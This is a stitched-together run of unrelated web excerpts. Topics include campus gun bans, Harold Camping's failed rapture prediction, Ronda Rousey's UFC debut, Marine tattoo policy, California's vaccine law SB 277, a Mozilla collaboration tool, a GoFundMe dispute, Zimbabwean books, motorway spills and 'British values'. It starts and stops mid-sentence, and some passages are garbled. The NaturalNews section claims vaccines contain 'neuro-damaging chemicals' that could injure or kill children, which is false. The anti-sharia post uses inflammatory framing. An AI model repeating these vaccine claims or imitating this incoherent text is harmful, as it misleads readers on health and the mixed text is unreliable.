you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters. Even if a student with a gun can use it to defend against a mass murderer, it’s hardly clear that anyone, including the armed student, is made safer. Policemen or other students with guns might not be able to differentiate among gunmen, putting the person defending herself at risk of being shot by mistake. Even well-trained gun owners suffer enormous mental stress in a shootout, making hitting a target extremely difficult. Gun control groups are fighting to retain the bans. This is one of the few areas in which they’ve had success in recent years. There have been more than 40 attempts to lift the bans in 24 states, and nearly all have failed. Even the proposed Arizona law was a victory of sorts, as the final bill omitted provisions allowing guns in classrooms; it would permit guns only on campus streets and sidewalks. Yet gun rights proponents are redoubling their repeal efforts. They aren’t reacting to a wave of violence on campus. The true motivation is to remove the stigma attached to guns. Many in the gun rights movement believe there should be no gun-free zones and seek to make the public possession of firearms a matter of course. The protesters who last year carried guns into Starbucks shops and Tea Party rallies had the same goal. They weren’t expecting to defend themselves; they were aiming to build broader public acceptance of guns. Exposure can breed tolerance. Arguably, that is exactly what’s behind the growing acceptance of gays and lesbians. The visibility of gay couples in society and popular culture has led many Americans to realize that homosexuality is not wrong. Gun advocates are betting the same can happen with firearms. The strategy, however, is risky. Teenagers might begin to see carrying a gun as a mark of adulthood, like smoking and drinking. Without the maturity of age, they might turn to violence too quickly. Gun rights advocates are willing to take these risks because colleges are where the next generation of America’s leaders will be produced. What better place to affect people’s attitudes about guns than the very institutions responsible for teaching our most cherished values and ideals? -Harold Camping, rapture prophet: 'We were wrong' Harold Camping, shown walking to his car after his "Open Forum" show on Family Radio in Oakland last year, had first predicted the rapture would occur on May 21, then on Oct. 21, 2011. Harold Camping, shown walking to his car after his "Open Forum" show on Family Radio in Oakland last year, had first predicted the rapture would occur on May 21, then on Oct. 21, 2011. Photo: Michael Macor, The Chronicle Photo: Michael Macor, The Chronicle Image 1 of / 3 Caption Close Harold Camping, rapture prophet: 'We were wrong' 1 / 3 Back to Gallery The 90-year-old Alameda preacher who convinced hundreds of followers that the world was going to end last May now acknowledges he was wrong. "Events in the last year have proved that no man can be fully trusted," Harold Camping wrote in a letter Thursday to listeners of his evangelical Family Radio program, "Open Forum." "Even the most zealous of us can be mistaken." Camping had predicted that the rapture would occur at 6 p.m. May 21, 2011. Believers would rise to heaven while the rest would be left to wander a godforsaken planet until Oct. 21, when Camping promised a fiery end to the world. But nothing happened. Standing on his front porch the next morning, Camping said he was "flabbergasted" that the rapture he'd predicted had not come. He promised an explanation after prayer and talks with friends. But Camping had a stroke less than a month later and was hospitalized until September. Once he was released, Camping said both the rapture and the end of the world would take place Oct. 21. "I really am beginning to think as I've restudied these matters that there's going to be no big display of any kind," Camping said at the time. "The end is going to come very, very quietly." Once again, the date came and went without incident. "God has humbled us through the events of May 21," Camping wrote Thursday. "We have learned the very painful lesson that all of creation is in God's hands and he will end time in his time, not ours! "We humbly acknowledge we were wrong about the timing." -They popped the wine and brought out plates of glazed shrimp, chicken skewers and Mr. Chow noodles – a signature item at the famed, namesake Beverly Hills restaurant – and yet, Ronda Rousey still didn't truly understand why she was even there. This was last August and Dana White, president of the Ultimate Fighting Championship, had called a couple days prior to invite Rousey out with a big group of people. First there would be dinner at Mr. Chow, White's favorite restaurant in Los Angeles. Then the premiere for season five of the FX hit "Sons of Anarchy." Scroll to continue with content Ad Rousey was stunned yet excited. She was, after all, a fighter – a bronze medalist in judo at the Beijing Olympics with a budding mixed martial arts career and thus the dream of one day making the UFC, the sport's elite promotion. The problem was White's long-held opposition to ever letting women fight in the UFC. Over and over he had said he wouldn't even entertain the thought. "Do you know what's special about this restaurant?" White said he finally asked Rousey that night at Mr. Chow. "No," Rousey recalled answering. "About a year ago TMZ stopped me outside this restaurant and asked me if the UFC would ever have a female fighter," White said. "I said, 'never.'" Rousey's heart sank a bit. "Well, I brought you here to say women are going to be in the UFC," White said. "And you're the first fighter." [Kevin Iole: Ronda Rousey is a promoter's dream come true] This may not be Jackie Robinson breaking into the majors or even Billie Jean King whipping Bobby Riggs, but it was a groundbreaking moment nonetheless. On Sunday, in Anaheim, Calif., Rousey takes on Liz Carmouche in the first UFC women's fight ever. Story continues This isn't some soft opening or novelty act, either. White promises it's part of a long-term investment in women's MMA. It's the UFC trying to use the star power of Rousey to build entire weight classes, an entire sport nearly from scratch. Rousey and Carmouche aren't just on the card, they're headlining the pay-per-view telecast, as in: "UFC 157: Rousey vs. Carmouche." The undercard is all men – high-profile fighters such as Dan Henderson, Lyoto Machida, Urijah Faber and Josh Koscheck – serving as the warm-up act, if you will, for the ladies. "A dream come true," Rousey said. A dream that wasn't easy to come by. Rousey returned from the 2008 Olympics with few options and less money. There were a limited number of women fighting in mixed martial arts, which she still needed to learn and develop at, and even then major paydays were rare. She's not one to be intimidated by great challenges though so she trained for it anyway. To pay the bills, she tended bar around Los Angeles. That included a stint at the pirate-themed Redwood in downtown Los Angeles where one day, Rousey said, actor George Wendt came in and ordered an Oban Scotch. "I served Norm from Cheers," she said. "I figured that was the Holy Grail of bartending." By 2011, she made her professional MMA debut, winning in 25 seconds with an arm bar. She would win five more the same way, which was part of the reason she found herself on White's radar. His company, Zuffa, bought the Strikeforce promotion that Rousey was fighting under, but the acquisition didn't necessarily mean a job for Rousey in the flagship promotion. For myriad reasons White was opposed to bringing women into the UFC, even as pioneers such as Gina Carano became a viable draw for other companies. He just didn't think there were enough elite competitors and too often fights were lopsided, which he struggled watching. "It's bad enough when a guy is getting beaten up, but a woman?" he said. He was concerned the most marketable women weren't true fighters and he wasn't sure how much they really wanted to battle. The UFC, for all its flash, is about violence and toughness. At the level of a major pay-per-view card, a dull, boring fight would be an embarrassment. "Then I met Ronda," White told Yahoo! Sports with a laugh on Tuesday. "Meeting her is the key to everything. This girl is for real. This girl is a fighter." [Also: Movie centered on Bruce Lee's most legendary fight in the works] She's also a natural born promoter and outspoken talker. She cracks jokes, is down-to-earth and self-deferential. Every time White met with her he couldn't stop considering the possibilities. This was no longer just about women's mixed martial arts. It was about being in business with Ronda Rousey, crossover superstar in waiting. "Obviously she's pretty," White said. "That's the first obvious thing. No. 2 is her fighting style, which is impressive, exciting. She won the same way every time even though they knew it was coming. And then when you meet her and I mean really hang out with her, you see that personality. I don't mean this the wrong way but she's a guy in a girl's body. She reminded me of hanging out with any other fighter. "There is no way you can meet Ronda Rousey and not be interested in seeing her fight. " So as White dreamed of America meeting a high-action, photogenic, big personality female fighter via Leno or Letterman and then buying up her pay-per-view fights, he commissioned some of his people at the UFC to look into whether it was feasible to start a women's circuit. What they found was that there was enough competition at the bantamweight class (135 pounds). As White watched tape after tape of female fighters, he became convinced. He'd been wrong about women's MMA. "I never saw a Ronda Rousey coming," he acknowledged. So last August, he called the now 26-year-old and invited her to meet up for dinner. She didn't know what to expect. Rousey grew up in Santa Monica but had never heard of Mr. Chow's, which isn't surprising since it sits a block off Rodeo Drive and a tomboy high school dropout isn't its usual clientele. [Also: Courageous Liz Carmouche is comfortable in her own skin] As someone who rarely watches television, she also had never seen an episode of "Sons of Anarchy." She frantically streamed episodes from Netflix in an attempt to catch up in case White asked her about it, but she ran out of time just half a season in. In the end, none of it mattered. The moment she'd dreamed of came unexpectedly: a reversal of opinion from the most powerful man in the sport. The entire group celebrated over Chinese food, hit the premiere and then came a final surprise. The after party was in Malibu, at Gladstone's, another one of the bars that Rousey delivered drinks at back when headlining a UFC card felt like little more than a pipe dream. "So now I'm there with my new boss, Dana White, and my old bosses are having to wait on me," she laughed. "It was justice all around." The night was truly historic. White, always aware of the magnitude of a moment, knew it deserved more than just a phone call and contract emailed to a manager. "I thought it would be a cool part of the story," White said. "He delivered that [expletive] in style," Rousey said. On Saturday, Rousey, the fighter that almost single-handedly forced the UFC to open itself up to women's fighting, promises to deliver back in similar fashion. Related MMA video on Yahoo! Sports: Other popular content on Yahoo! Sports: • Tim Tebow causes controversy with choice for speaking engagement • NBA union head Billy Hunter ousted by unanimous vote • Rafael Nadal gets upgrade on $525K watch • Will Giants restructure Eli Manning's contract to keep Victor Cruz? -The long-awaited results of an internal review of the Corps' tattoo policy may be pushed out to Marines as early as this month, the top enlisted Marine said this week . The Marine Corps expects to release a service-wide administrative message announcing the review's findings within weeks, Sgt. Maj. Ronald Green told Marine Corps Times in an exclusive interview . The message is expected to provide Marines with better clarity on their tattoo policy — but it first must be reviewed by Commandant Gen. Joseph Dunford . Multiple Pentagon sources have said the panel reviewing the tattoo policy recommended no major changes, and the forthcoming message will only clarify and reconcile any inconsistencies. But Green said nothing was certain until the commandant gave final approval. "The policy’s not final until he signs it ," Green said, adding that Dunford could still send it back and tell them to take another stab at it. While Green did not detail the changes, pending Dunford's final approval , he said professional image had been a top concern in examining possible changes while ensuring that "every Marine is heard in formulating this policy." "America ... [looks] for a certain image in the Marine Corps," Green said. "We want to make sure that the image that we project is the image that America wants [and one] that the Marine Corps can live with ." Marines have long complained about the Corps' tattoo policy, calling it too restrictive and confusing. × Fear of missing out? Fear no longer. Be the first to hear about breaking news, as it happens. You'll get alerts delivered directly to your inbox each time something noteworthy happens in the Military community. Thanks for signing up. By giving us your email, you are opting in to our Newsletter: Sign up for the Marine Corps Times Daily News Roundup In April, Sgt. Daniel Knapp, a North Carolina-based infantryman who was the subject of a Marine Corps Times cover story, said the unclear policy cost him his career. When he got a crossed rifles tattoo on his arm, Knapp said he didn't know it would run afoul of the service's policy. He had the tattoo for four years before it became an issue, he said. "They didn't have an issue meritoriously promoting me when I had a tattoo," he said. "I had never heard anything about my tattoos. Nothing was said until I went to the career planner." I can't say exactly what areas [it affects] because once we get it all in a box, we've got to give it back to him again."Green promised, however, that the wording on the final policy would be clear enough for any Marine to understand. It's so that w The Cape Fear Tattoo and Arts Expo provided Marines with many opportunities to get tattoos at the Wilmington Convention Center, April 27-29. A Marine gets new body ink during a tattoo convention. Marine officials plan to release a smartphone application that details the Corps' tattoo policy in order to provide better clarity on the regulations. Photo Credit: Cpl. John Suleski/Marine Corps The review Green said Marines are ready for any changes to be set so they can make decisions about tattoos without fear for their careers. "The consensus I've gotten lately, traveling around, is they don't want to talk about it anymore," he said. "They just want the policy." Regardless of what the final policy update permits, Green said he expects Marines to fall in line . "Once that policy goes out, that MARADMIN, [the commandant ] expects every Marine to take a full 30-inch step and follow the policy," Green said. "That’s the end state." According to multiple Pentagon sources, the panel of Marine Corps leaders conducting the review concurred with the existing policy and recommended that no major changes be made. The forthcoming message, officials said, will only clarify existing policy and reconcile any inconsistencies in rules and enforcement throughout the Marine Corps. But Green declined to characterize the update this week, saying a final decision was still in the hands of the commandant, Gen. Joseph Dunford. A spokesman for Marine Corps Manpower and Reserve Affairs, which participated in the review, confirmed that a message was pending publication, but did not offer a timeline for release. "This is still an ongoing process, with working groups meeting to solidify details and hone in on specificity on the draft MARADMIN that is subject to change," Maj. Rob Dolan said. The tattoo policy received significant updates in 2007 and 2010, when the 34th commandant, Gen. James Conway, banned sleeve tattoos and created strict rules regarding tattoo number and placement. The current policy prohibits permanent ink on hands, feet, wrists and inside mouths, places limitations on imagery depicted in tattoos and limits how many tattoos can be visible in uniform. Marines have commonly been tripped up by "grandfathering" regulations, which permitted troops to continue to serve if their out-of-regs tattoos dated from before the policy changes, but prohibited them from holding certain positions, such as recruiting jobs. -Parents vow to pull their kids out of school or move to another state to avoid draconian vaccination mandates (NaturalNews) California Governor Jerry Brown has reportedly signed into law the contentious Senate Bill 277, which eliminates the freedom of California parents to opt their children out of vaccinations for personal reasons. All school-age children without an approved medical exemption will now be forced to get vaccinated in order to attend publicschool, a tyrannous mandate that has already driven many objecting parents to homeschool their children instead.The text of SB 277 explains that the bill, which was signed by Gov. Brown on June 30, will "eliminate the exemption from existing specified immunization requirements based upon personal beliefs," while at the same time allowing "exemption from future immunization requirements deemed appropriate by the State Department of Public Health for either medical reasons or personal beliefs."In other words, California parents will no longer be allowed to just fill out an affidavit for their children declaring a personal objection to vaccinations. They will instead have to go through DPH to obtainto opt out of vaccines, either for medical reasons or for personal reasons that the state deems worthy of an exemption.It's a declaration of war against medical freedom, a line in the sand that demarcates government tyranny in direct opposition to the will of the people. And the fallout is that many parents are now going off the radar in pursuit of an education for their children that isn't contingent upon first injecting them with neuro-damaging chemicals and genetically altered live viruses.According to reports, Gov. Brown was eager to sign SB 277 into law, delivering an official signing statement just one day after legislators brought the bill to his desk. It's a tune completely different from the one Gov. Brown was singing three years ago when he issued a signing statement in conjunction with Assembly Bill 2109 that seemingly supported both personal and religious vaccine exemptions.In his letter, Gov. Brown admitted that vaccines come with risks, but insisted all the while that they're necessary to benefit and protect the community. And with the stroke of a pen, he eliminated one of the only options that parents have to forego subjecting their children to forced medical treatments that could seriously injure or kill them.Prior to the bill's passage, a number of California parents vowed to pull their children out of school if it was enacted. Dr. Robert Sears, a pediatrician from Capistrano Beach, toldfollowing SB 277's signing into law by Gov. Brown that he expects a huge exodus from the conventional education system as parents opposed to vaccines seek greener pastures."[We] will see a big shift in children leaving schools for homeschooling ," stated Dr. Sears to the. "And families will group together in co-ops to educate their kids."As an added benefit, these same children will avoid being brainwashed in California public schools, which thereported back in 2013 rank the third-worst in the nation for both math and reading. Still, SB 277 represents nothing short of medical despotism, and its passage is likely to spur a whole new black market for forged and/or falsified vaccination records.Many Californians are also likely to flee the state entirely to places like Oregon, where public pressure blocked a similar bill, SB 442, from moving forward back in March."Parents don't like being told what to do, they don't like feeling like their rights are stripped away," stated Kimberly McCauley of the San Francisco Bay Area to KESQ.com. "People are going to start moving away. [Gov. Brown] just screwed California. Single-handedly screwed California." -It looks like you are using Ad Blocking software. Ads are an important part of what allows this and other sites within the SWTORTools network to continue to run and grow. I also don't like ads. I use an ad blocker on sites that show full screen ads or ads that may harm my computer. However when there is a site that I want to support, I will either allow ads or donate to them, as long as they don't hurt that trust. I will never block you from the site or worsen your experience for using an ad blocker. But I do encourage you to either allow ads for my domains, or if you really don't want ads, please consider supporting my work in another way. For example, you can make a donation at SWTORTools Support. -Currently just a “proof of concept” from Mozilla Labs, TowTruck is a service which adds real-time collaboration to any website. Similar to what you’d find in Google Drive, the awkwardly named TowTruck works with just a snippet of JavaScript code, and allows for real-time authoring, messaging and voice chatting via Web RTC. Mozilla’s goal with this project is to make it easier for everyone to work together on the Web — given how important remote communication has become, it’s great to see Mozilla developing an open-source solution. And because it’s open source, don’t be surprised to see customized TowTruck-powered features and services pop up. You can view a demo of the service in action below: Mozilla warns that TowTruck is “alpha-quality software,” and in our own tests, we found the service to be clunky, yet promising. It’s particularly interesting that collaborators can stay connected while navigating separate pages of the same site. That said, there was just enough lag to make the experience feel heavy. Try the service out for yourself via the link below and grab the code here. ➤ TowTruck Example For more on Web RTC, check out this plugin-free video chatting experiment on a Nexus 7. Image credit: JOSEP LAGO / Stringer / Getty Images Read next: The Internet Archive aggressively expands its software collection, now the largest of its kind -The stealth jihad. If you’re not against sharia, you’re for it. We know where GoFundMe stands. Source: GoFundMe Bans Glazov Gang from Accepting Donations | Jamie Glazov Productions h/t Cori Crowdfunding online company GoFundMe has banned The Glazov Gang, a web-tv show that tells the truth about the threat from the Left and Islam, from accepting online donations. GoFundMe suspended The Glazov Gang campaign without any notice or explanation, nor have they responded to any queries. This conduct by GoFundMe is part of its larger effort to shut down the efforts of Anni Cyrus, the producer of The Glazov Gang. Recently, also with no notice or explanation, GoFundMe deleted Anni’s entire account while she was raising funds for her anti-Sharia tour — wiping out all of her donor history and four open campaigns, one of which was The Glazov Gang campaign. This development is part of a current onslaught by companies who are closing their platforms to those who dissent from the Left’s totalitarian worldview. Freedom of speech and conscience are being annihilated each passing day right before our eyes. The Glazov Gang will not take this lying down. Please spread the message that GoFundMe has surrendered to leftist fascism and kindly write to the organization to request that The Glazov Gang get its campaign back: 1) Click the “Contact Us” button here: https://support.gofundme.com/hc/en-us. 2) Answer the series of drop down choices however you wish. 3) At the end of the series, select “Other” to be directed to the email entry window. Also contact GoFundMe on Twitter: @gofundme By direct email: support@gofundme.zendesk.com Reference the url of The Glazov Gang campaign: https://www.gofundme.com/Helpglazovgang For more info, visit: https://www.facebook.com/aynazcyrus/posts/10209980742943666?pnref=story Supporters can still donate to The Glazov Gang here: https://www.paypal.me/glazovgang Thank you everyone! More via GoFundMe Removes Account of Woman Fundraising Anti-Sharia Tour, Conservative Web Show Cyrus also confirmed that GoFundMe had removed her account in a post on Facebook, where she has over 20,000 followers. “Dear supporters, today, with no notice or explanation, GoFundMe has deleted my entire account, wiping out all of my donor history, and four open campaigns,” Cyrus claimed. “You can help me by writing a brief email note to GoFundMe Customer Service, to lobby them to restore my account history, at the very least.” In 2015, GoFundMe removed a fundraising campaign for the family of a “Draw Muhammad” organizer, who went into hiding following violent threats, while last year, the platform removed a campaign which sought to raise funds for an advertisement linking failed presidential candidate Hillary Clinton to an anti-Israel author. In the past, left-wing journalists and activists have also attempted to pressure the platform into removing fundraisers for events featuring former Breitbart Senior Editor Milo Yiannopoulos. Following left-wing riots on President Trump’s inauguration day in January, where a limo owned by a Muslim immigrant was set on fire and destroyed by rioters, Trump supporters raised nearly $24,000 for the man using GoFundMe. -There are many more than 10 great books about Zimbabwe. The Zimbabwean writers of the last decade alone, particularly Nozipo Maraire, Alexandra Fuller, Irene Sabatini, Bryony Rheam, NoViolet Bulawayo, Peter Godwin, Ignatius Mabasa, Brian Chikwava, Wonder Guchu, Christopher Mlalazi, Tendai Huchu, Memory Chirere and Togara Muzanenhamo could be part of this list, as could the American James Kilgore. The prolific triumvirate of Charles Mungoshi, Ndabezinhle Sigogo and John Eppel could each have a top 10 list of just their own work. The fiction and non-fiction titles in this list echo my own obsession with the history of Zimbabwe, and, most particularly, its social history, a subject in which my novel The Book of Memory is steeped. I am particularly interested in the external and internal struggles reflected in these books, struggles both national and personal – whether over land ownership and national identity or the individual’s right to self-determination. I hope that this “personal canon” provides a good introduction for those who may be new to Zimbabwe, and inspires debate among Zimbabweanists about who else I should have included. 1. Zambesia, England’s El Dorado in Africa by Edward Peter Mathers (1895) Zimbabwe is an unusual case study in African colonialism in that it was invaded by a private company under Royal Charter. First published in 1895, this rare book provides the inside track on the Pioneer Column, the occupying force of Cecil Rhodes’s British South Africa Company. From speculation over the location of the fabled “lost mines of Ophir” to the meticulous enumeration of the many titles of Lobengula, the soon-to-be-deposed “King of the Matabele”, this Victorian delight is a wonderful resource for anyone who wants to understand the motives for and mechanics of the colonisation of Zimbabwe. 2. The Grass is Singing by Doris Lessing (1950) This bleak and unsparing novel, set on a remote farm in Southern Rhodesia in the 1940s, is propelled by three deeply unlikeable but pitiful people: Dick Turner, an inept but stubborn white farmer; his wife, the frustrated, proud Mary, and Moses, the domestic servant whose brooding presence oppresses the book and leads to its catastrophic conclusion. Lessing’s novel is a masterly study of the unnatural and constricting artifices that were necessary to maintaining Rhodesia’s “colour bar”. 3. Butterfly Burning by Yvonne Vera (1998) Set in the Bulawayo township of Makokoba in the 1940s, this is the story of the doomed May-December love affair between Fumbatha, a construction worker, and the much younger Phephelaphi who dreams of being a nurse. A brutal event separates the couple. Vera’s prose can be elliptical – the horrors that befall the couple are described with such lyrical beauty that they are not always fully felt by the reader – but no other writer has so powerfully captured the many faces of Bulawayo, Zimbabwe’s second-largest, and loveliest, city. 4. Pafunge (Think of It) by TK Tsodzo (1972) Supposedly a morality tale in which the reader is meant to recoil from the unwitting incestuous relationship between Rudo Moyo and her long-lost father, Josiah Rugare, aka Joe Rug. But this Shona novel is, in reality, a joyous caper that moves between a mission school and hospital in Fort Victoria province and the seedy nightspots of the town of Gwelo. Published by the Rhodesian Literature Bureau, which was established to encourage black writers away from political writing, Pafunge riotously glories in the many sins and pleasures of city life before piously renouncing them. The character of Phainos Kamunda, a young man enamoured of made-up English jawbreakers (dananability, syllambability, gigotism) is particularly popular with Zimbabweans, who can perhaps be forgiven for seeing in him the forerunner of a certain verbose and highly excitable former minister of information. 5. Nervous Conditions by Tsitsi Dangarembga (1988) “I was not sorry when my brother died,” begins the first novel to be published in English by a black Zimbabwean woman. With its echo of Camus and title from Fanon, this haunting novel is an intelligent and penetrating exploration of young Tambu’s fight for the education that will lift her out of rural poverty. It is her brother Nhamo’s death that creates the opportunity she deserves. Considered too radically feminist for conservative Zimbabwe, the novel was rejected locally and eventually published by the Women’s Press in London. It has since become a deservedly cherished novel about what it means to be a young woman in Zimbabwe’s patriarchal cultures. In addition to rooting for Tambu, the reader is not sorry at all when Nhamo dies – like the generation of Zimbabwe’s first political leaders to which he belongs, so strong is his sense of entitlement that he would have most likely used his elevated position to close off to others the very doors that had been opened for him. 6. The House of Hunger by Dambudzo Marechera (1978) Facebook Twitter Pinterest Clear-sighted ... Dambudzo Marechera. Photograph: Peter Johns for the Guardian This superb collection (a novella and nine short stories) was a co-winner (with Neil Jordan’s Night in Tunisia) of the Guardian fiction award in 1979. With its publication, Marechera, the exceptionally gifted enfant terrible of Zimbabwean letters, seemed poised for a glittering career. He died in poverty just eight years later. Easily his most accessible work, The House of Hunger is clear-sighted, beautifully observed and far removed from the sometimes histrionic solipsism that characterised his subsequent work. 7. Harvest of Thorns by Shimmer Chinodya (1989) The prolific Chinodya has written a number of striking books, most notably Dew in the Morning, an exploration of an idyllic rural boyhood; the sophisticated Strife, in which sins from the pre-colonial past cast shadows into the present; and the rich and varied short-story collection Can We Talk? But it is Harvest of Thorns, widely acclaimed as the best novel ever written about Zimbabwe’s independence war, that is his crowning glory. As well as being a fine novel about the pitiful waste of war, it has at its heart a touching love story and a trenchant critique of the hypocrisies of religion. 8. Kunyarara Hakusi Kutaura? (Is Silence Not Also Speech?) by Charles Mungoshi (1983) A novelist, poet and playwright who writes equally well in Shona and English, Charles Mungoshi is Zimbabwe’s finest and most versatile writer. His life project has been to interrogate the notion of family. In this groundbreaking novel, he uses multiple voices to unfold, in a stream of consciousness, the unease caused by the return from England of the arrogant Eric Chimbimu. His poor judgment and unthinking actions ensnare him in a love triangle with his half-brother, the weak-willed Paul, and Paul’s beautiful and ambitious wife Lorna. The tensions between the three bring to boiling point the resentments that have been simmering for two generations in their polygamous family. This very modern novel takes an old language in new and unexpected directions. 9. Becoming Zimbabwe edited by Brian Raftopoulos and Alois Mlambo (2009) This is an impeccably-researched collection of essays by the historians and political scientists Brian Raftopoulos, Alois Mlambo, Gerald Mazarire, Sabelo Ndlovu-Gatsheni, Joseph Mutisi, Munyaradzi Nyakudya, Teresa Barnes and James Muzondidya. It chronicles the history of Zimbabwe from pre-colonial times to the unity sharing government of 2009. Rich in insights and incisive in its analysis, Becoming Zimbabwe is animated by the influence of the Zimbabweanist historian Terence Ranger, who died last year. He inspired this generation of historians to give both dignity and academic rigour to a history that both the Rhodesia and Zimbabwe regimes have, at one time or another, sought to distort for political reasons. 10. The Last Resort by Douglas Rogers (2010) This warm and funny memoir is a love letter to a country in the grip of madness. Lyn and Ros Rogers are the owners of Drifters, a farm they bought after Zimbabwe’s independence in 1980. Their son Douglas tells the story of how they and their motley staff seek to coexist with the Comrades who try to take over their farm while the economy crashes and spins out of control around them. This book gives the reader an understanding of why there will never be an Arab spring in Zimbabwe – we Zimbos are resilient to the nth degree. We don’t revolt, we “make a plan”. In my favourite passage in the book, a most unlikely character turns out to be the biggest pothead on Zimbabwean soil since Bob Marley and the Wailers played the independence concert. Magic. • The Book of Memory by Petina Gappah is published by Faber, priced £14.99, and is available from the Guardian bookshop for £10.49. -Just days after a lorry caused severe delays by shedding 24 tonnes of lard across a motorway slip road, BBC News takes a look at the strangest items spilled on England's roads. Baked beans, M11, Essex Image copyright Juliet Kinsman Image caption A passer-by stuck in traffic snapped a picture of the bean spillage Thousands of tins of beans were strewn across three lanes of the M11 in Essex in 2012 after a lorry swerved to avoid a car and smashed into the central reservation. No-one was hurt in the accident near Epping, but a mini-digger had to be called in to scoop up the cans of pulses and clear the road. The southbound carriageway between junctions six and seven was closed for around three hours. Yeast extract, M1, South Yorkshire Image copyright Getty Images Image caption A spillage of yeast extract caused a jam on the M1 The M1 ground to a halt in the winter of 2011 when 20 tonnes of yeast extract oozed across the carriageway near Sheffield. Specialist teams were dispatched to stop the sticky black mess spreading in a clean-up operation that took 12 hours. The Environment Agency was called in to help over fears the substance could pollute local waterways and suffocate fish. Lager cans, M6, Coventry Image copyright West Midlands Ambulance Service Image caption The van was carrying cans of lager when it overturned Hundreds of cans of lager rolled across the M6 at Coventry in 2011 after a van overturned and shed its load. The link road between the M69 southbound and the M6 northbound was closed for almost four hours while Highways England picked up every single tin of beer by hand. Salmon, M62, East Yorkshire Image caption The salmon spillage on the M62 was a 'complicated clean-up' Ten tonnes of salmon had to be picked up by hand in the dead of night after an HGV overturned near Goole in 2013. The frozen fish was strewn across both the east and westbound carriageways and the 44 tonne lorry was blocking several lanes. Highways England worked into the early hours to get the road reopened in time for rush-hour traffic in what they described as a "complicated" clean-up mission. Chickens, M62, Manchester Image copyright Ian C Patterson Image caption Around 1,000 chickens were killed in the M62 smash Hundreds of chickens perished on the M62 in Greater Manchester last year after a lorry smashed into a safety barrier. The vehicle was carrying 6,800 chickens when it crashed and about 1,500 died from the impact or were killed by passing traffic. Some 2,000 birds escaped and had to be recaptured by rescuers scouring nearby fields in the dark. Animal blood and human sewage Nasty substances spilled on our roads pose quite the challenge for agencies cleaning them up. It took almost four hours for specialist teams to mop up animal blood from the eastbound carriageway of the A50 at Stoke-on-Trent in 2011 after the tanker carrying the liquid sprang a leak. Similarly, in 2009, the Environment Agency had to be drafted in to deal with the aftermath of an HGV crash which saw raw human sewage seep across the A3 near Guildford. It took five hours for the hazardous material to be removed. Acid, M11, Essex Image copyright Essex Fire and Rescue Image caption Motorists trying to get to the airport had to be diverted following the spillage An acid spill closed the M11 near Stansted Airport for more than 12 hours last year after a lorry overturned, pouring melamine formaldehyde resin and phosphoric acid across several lanes. More than 325 metres of carriageway had to be cleared and teams scrambled to clean up the mess before the substance solidified on the road. Powdered cement, M6, Lancashire Image copyright North West Motorway Police Image caption It took 18 hours to clear the road of powdered cement Highways England was faced with a similar challenge just a couple of weeks later when powdered cement was spilled across the M6 on the hottest day of the year. Motorists were left stranded between junctions 34 and 35 following a smash between two lorries and a car, which saw several hundred gallons of diesel from one of the vehicles mix with the powder, causing it to set. It took 18 hours to clear and resurface the road. -You would think that for something to be called a ‘national value’ it would be enshrined in the life of, and championed by, that nation to an extent where the rest of the world would recognise it as quintessentially so, right? Let’s assume that by ‘values’ we mean ‘moral principles’ or even vaguer, a moral ‘framework’ or ‘compass’ – or how about ‘a shared moral understanding.’ It’s not too hard to think of nations that explicitly claim these, for example the French revolutionary ‘Liberte, Egalite, Fraterne’, the South African post-apartheid ‘Rainbow Nation’ ideal, the USA’s equally revolutionary ‘life, liberty and the pursuit of property’ (taken from John Locke and slightly re-worded to equate property with happiness). No matter how far short any of these countries fall from these, they have been universally recognised and constitutionally enshrined in each to make it plain to their own citizens and to outsiders: this is the substance of who we are. Here, most politicians love ‘British Values’. Well, they say that, but they can’t possibly love the substance of them, because they usually don’t seem to have thought too much about what they actually are. What’s the stuff that defines the common conduct of four constituent nations, what’s the glue that holds together all of the people within each? When pressed they say things like ‘common decency’ – a platitude which to my mind could be used by any individual on earth to describe the principles they themselves hold, effectively saying that they describe their own ethics as ‘correct’. We’re told terrorists don’t share British values, but that’s because they kill innocent people, which is usually always illegal everywhere. When pressed even further the politicians will start to praise the commitment of these Isles to ‘democracy’ and ‘democratic rights’, things common to a great deal of different states and, given the very slow and gradual path into participatory democracy that Britain took, with its constitutional basis therefore being an unelected second chamber and a hereditary monarch, a very odd thing to claim as our own. Even if you want to call democracy a defining value (it’s more of a process, surely a value is something bigger?) it certainly doesn’t belong to the British. It’s more Greek than anything else, it’s quite possibly Indian; the Americans and the French don’t even include it in their formulations despite both being known to erroneously claim to have brought it to the world. But, undeterred by any actual meaning, still those politicians love their British Values, because it’s just so bloody convenient for them. It allows them to be so very vague about what their principles actually are while at the same time managing get all misty-eyed and patriotic about their country. In the ever-narrowing centre ground of mainstream parliamentary politics, it’s the perfect platitude, an uncontroversial way to say “I like good things, I don’t like bad things, and I threaten no-one.” That is until recently. My hope is that now several issues, not least the independence referendum, can lead more and more people to reject British values, or more accurately to question if national values actually have any use or make any sense at all. It’s worth stressing that the term as most often used is completely vacuous. Ed Milliband, for example, is often fond of citing ‘British values’ as a catch-all term for everything decent about him, his party, and the good people he wants to vote for them. This is a way to detract from ‘red Ed’ tabloid jibes, and means nothing of substance other than ‘not scary.’ Gordon Brown was the very same of course, though given his further unfortunate disability of a Scottish accent he had to go much harder on it, leading to such absurdities as the proposed ‘Britishness Day’ and his claim that his favourite footballing moment of all time was when Paul Gascoigne scored for England against Scotland in 1996. It’s true that when ‘Britishness’ gets pushed far enough for a definition it often ends up in depictions of England and Englishness, given that is the governing interest in the union, as served here in Brown’s attempt not to seem threatening to the UK’s deciding voting base. But as unusual as a self-proclaimed Scottish football fan enjoying Scotland getting beaten by their local rival seems, still none of this amounts to a political or moral ‘value’ as such, and is still vacuous. It is with some irony then that the Daily Mail earlier this year attacked the deceased academic Ralph Milliband for hating British values. Ed Milliband was stuck in a situation where he quite rightly wanted to defend his father’s memory and challenge the outright lies in the Mail, while still wanting to claim access to and sympathy for those elusive nationalistic values of your plucky, Mail-reading Brit, the very things they accused his father of attacking. So he made his argument on their terms. According to Ed his father, like him, adored British values. He fought for Britain in the war. He lived and worked in Britain for the vast majority of his adult life, and raised a family in it. He watched Dad’s Army. He ate Fish N’ Chips. I’m sure Ed would have claimed his old man read the Daily Mail if the ‘Marxist’ and ‘intellectual’ prefixes so often accompanying his name didn’t each by definition disprove it. The fact that those prefixes alone adequately explain a value system which led him to fight fascism in Europe is also a little inconvenient. But this whole stooshie gave us an amazing thing that I’d never seen before: it provided a clear definition of British values. This happened when Jon Steafel, deputy editor of the Mail, appeared on Newsnight in debate with Alistair Campbell, he of lying, warmongering New Labour spin doctor fame. Staefal had a 